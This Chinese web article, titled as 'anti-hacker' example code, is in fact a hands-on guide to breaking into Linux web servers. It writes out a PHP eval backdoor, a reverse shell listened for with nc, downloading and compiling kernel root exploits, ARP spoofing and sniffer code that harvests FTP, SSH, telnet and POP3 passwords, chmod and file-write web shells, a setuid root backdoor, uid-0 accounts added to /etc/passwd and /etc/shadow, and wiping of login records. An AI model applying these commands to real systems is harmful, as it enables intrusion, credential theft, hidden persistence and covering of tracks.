Linux入侵常用命令之防黑客示例代碼
前言
linux權(quán)限多設(shè)的比較松的其實(shí),但有的虛擬機(jī)還是不能跨目錄訪問的。在提不了權(quán)的情況下,試試如下代碼吧。運(yùn)氣好的話說不定就跨過去了。下面話不多說了,來一起看看詳細(xì)的介紹吧。
寫個(gè)php一句話后門上去:
[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php
1、linux的想著先跨站
shell瀏覽目標(biāo)站不行,命令行下輸入:
ls -la /www.users/
2、溢出提權(quán)
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);
來得到交互的Shell,一般的系統(tǒng)都默認(rèn)安裝python
輸入id
bash-3.2$ id
uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)
bash-3.2$
這里uid=529(zeicom)還不是root權(quán)限,
輸入uname –r
返回:2.6.18-164.11.1.el5PAE
Linux提權(quán)大致可分為,第三方軟件漏洞、本地信任特性、內(nèi)核溢出
找對(duì)應(yīng)的exp, 這里地址整理很齊全可以這里下
http://tools.90sec.org/
http://sebug.net/paper/linux_exp/
http://x73.cc/bitch/exp/
http://www.exploit-db.com/search/
命令輸入pwd,這個(gè)命令是顯示當(dāng)前目錄,
先看能不能編譯 gcc -help
當(dāng)前目錄就是shell的目錄,我在shell上傳2.c
反彈shell 到外網(wǎng)自己機(jī)器的12345端口
上外網(wǎng)服務(wù)器 本地監(jiān)聽 nc -lvvp 12345
一般都能得到一個(gè)apache交互的shell 有時(shí)候又不行
這時(shí)候
# python -c 'impotr pty;pty.spawn("/bin/sh");' cd /tmp 進(jìn)入tmp目錄 mkdir Papers 創(chuàng)建一個(gè)Papers的目錄 Papers不顯眼 cd Papers 進(jìn)入 Papers目錄 pwd 查看當(dāng)前目錄 然后命令輸入 wget 下載exp gcc –o 2 2.c //把2.c編譯成可執(zhí)行文件 g++ keio.cc -o keio chmod +x 2 //給2有執(zhí)行權(quán)限 ./2 //執(zhí)行2, 溢出 gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
確定arpsniffer.c需要先裝pcap和 libnet。
rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0 tar zxvf libpcap-0.8.1.tar.gz cd libpcap-0.8.1 ./configure make make install
重新編譯arpsniffer.c
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
這次沒報(bào)錯(cuò),編譯成功。
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
下面開始欺騙,由于是服務(wù)器端,因此我們欺騙網(wǎng)關(guān):(網(wǎng)絡(luò)環(huán)境如下,郵件服務(wù)器ip:192.168.0.11 網(wǎng)關(guān):192.168.0.1 本機(jī):192.168.0.77)
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
在另一個(gè)登錄里面用tcpdump監(jiān)聽下
tcpdump -i eth0 host 192.168.0.11
發(fā)現(xiàn)有數(shù)據(jù),把監(jiān)聽的數(shù)據(jù)存在文件里面:
tcpdump -i eth0 host 172.16.0.12 -w pop.txt
10分鐘后停止,在SecureCRT下用sz命令下載pop.txt到本地,然后用Ethereal分析。
下面我們就可以用linsniffer監(jiān)聽我們想要的用戶名和密碼了。
先修改linsniffer.c:根據(jù)自己的需求監(jiān)聽相應(yīng)的應(yīng)用密碼。我的如下:
if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==80) p=1; /* http */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ [root@bbs111 root]# gcc -o linsniffer linsniffer.c In file included from /usr/include/linux/tcp.h:21, from linsniffer.c:32: /usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!
不用管警告,直接運(yùn)行編譯后的linsniffer即可。
[root@bbs111 root]# ./linsniffer
用戶名和密碼都自動(dòng)存到了tcp.log下。
3、利用跨站代碼
linux不提權(quán)跨目錄訪問的代碼
linux權(quán)限多設(shè)的比較松的其實(shí),但有的虛擬機(jī)還是不能跨目錄訪問的。
在提不了權(quán)的情況下,試試如下代碼吧。運(yùn)氣好的話說不定就跨過去了。
代碼如下:
$path = stripslashes($_GET['path']); $ok = chmod ($path , 0777); if ($ok == true) echo CHMOD OK , Permission editable file or directory. Permission to write; ?>
把上面代碼保存為tmdsb.PHP
然后訪問http://www.tmdsb.com/tmdsb.php?path=../../要跨的目錄/index.php
這里的index.PHP是要修改權(quán)限的文件。
收集的另一個(gè)exp:
把下面的代碼保存為exp.PHP
代碼:
@$filename = stripslashes($_POST['filename']); @$mess = stripslashes($_POST['mess']); $fp = @fopen({$_POST['filename']}, 'a'); @fputs($fp,$mess ); @fclose($fp); ?>
4.2.618最終Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)這個(gè)0day溢出成功
udev提權(quán)
換了個(gè)udev提權(quán),適用于內(nèi)核范圍為2.6.*。
還是上傳文件至服務(wù)器shell所在目錄,執(zhí)行命令ls,發(fā)現(xiàn)文件已經(jīng)躺在那里面了,之后賦予exp執(zhí)行權(quán)限。
chmod +x pwnkernel.c chmod +x wunderbar_emporium.sh chmod +x exploit.c
之后執(zhí)行溢出./w*
成功溢出,root權(quán)限。
之后就是留下一個(gè)后門~ 添加一個(gè)root權(quán)限用戶俺也不介意。。。(useradd -u 0 -o "username")
依次輸入命令
cd /tmp sh-3.1# ls /lib/ld-linux* /lib/ld-linux.so.2 sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven sh-3.1# ls -l .str1ven -rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven sh-3.1# chmod +s .str1ven sh-3.1# ls -l .str1ven -rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven
成功建立一個(gè)后門,退出root,執(zhí)行./.str1ven `which whoami`,又成功獲取root權(quán)限~~
cat /etc/passwd 查看linux用戶
cat /etc/shadow 查看用戶密碼需要root權(quán)限
cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表網(wǎng)卡號(hào) 查看所在網(wǎng)卡的ip信息
ifconfig 查看本機(jī)ip信息
cat /etc/resolv.conf 查看DNS信息
bash -i 在反彈的shell中使用可以直觀顯示命令
bash prompt: 當(dāng)你以普通限權(quán)用戶身份進(jìn)入的時(shí)候,一般你會(huì)有一個(gè)類似bash$的prompt。當(dāng)你以
Root登陸時(shí),你的prompt會(huì)變成bash#。
系統(tǒng)變量 : 試著echo "$USER / $EUID" 系統(tǒng)應(yīng)該會(huì)告訴你它認(rèn)為你是什么用戶。
echo 1>/proc/sys/net/ipv4/if_forward是不是你寫錯(cuò)了,應(yīng)該是echo 1>/proc/sys/net/ipv4/ip_forward,
vim /proc/sys/net/ipv4/ip_forward 吧,默認(rèn)是0,也就是內(nèi)核不進(jìn)行數(shù)據(jù)包過濾,改為1 ,讓內(nèi)核對(duì)數(shù)據(jù)包進(jìn)行filter處理!
netstat -an |grep LISTEN |grep :80 查看端口
service --status-all | grep running service --status-all | grep http
查看運(yùn)行服務(wù)
lsb_release -a 查看系統(tǒng)版本
重啟ssh服務(wù) :
/usr/sbin/sshd stop/ usr/sbin/sshd start ssd_config文件里 PasswordAuthentication no,
將其改為
PasswordAuthentication yes
遠(yuǎn)程ssh才可登錄
否則顯示Access denied
其中Usepam yes可能用來建立pam方式login,比如從其它linux主機(jī)ssh到服務(wù)端,如果關(guān)閉,則不能打開.
su的菜鳥用法
先chomod 777 /etc/passwd
然后修改bin用戶的gid和uid為0
然后passwd設(shè)置bin的密碼
然后cp /bin/bash /sbin/nologin
然后su的時(shí)候su - bin就可以到rootshell了。
這個(gè)原理就是當(dāng)ssh不允許root用ssh終端登陸的時(shí)候,我們又不知道root密碼的一種很菜鳥的做法。
還可以這樣
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd gcc prtcl2.c –o local –static –Wall echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
清空last記錄 cp /dev/null /var/log/wtmp
-----
dd if=/dev/zero of=yourfile bs=10M count=10 建立一個(gè)100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提權(quán)的時(shí)候要用到的
/etc/init.d/ssh start 開22端口
/etc/ssh/sshd_config SSH服務(wù)配置文件
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問大家可以留言交流,謝謝大家對(duì)腳本之家的支持。
相關(guān)文章
SSH設(shè)置別名訪問遠(yuǎn)程服務(wù)器詳細(xì)介紹
這篇文章主要介紹了SSH設(shè)置別名訪問遠(yuǎn)程服務(wù)器詳細(xì)介紹的相關(guān)資料,需要的朋友可以參考下2017-06-06Ubuntu安裝Matlab2020b詳細(xì)教程和資源
大家好,本篇文章主要講的是Ubuntu安裝Matlab2020詳細(xì)教程和資源,感興趣的同學(xué)趕快來看一看吧,希望對(duì)你有幫助2021-11-11使用ssh-keygen,實(shí)現(xiàn)免密碼登陸linux的方法
下面小編就為大家?guī)硪黄褂胹sh-keygen,實(shí)現(xiàn)免密碼登陸linux的方法。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2016-11-11Shell 數(shù)組與關(guān)聯(lián)數(shù)組詳解及實(shí)例代碼
這篇文章主要介紹了 Shell 數(shù)組與關(guān)聯(lián)數(shù)組詳解及實(shí)例代碼的相關(guān)資料,需要的朋友可以參考下2017-01-01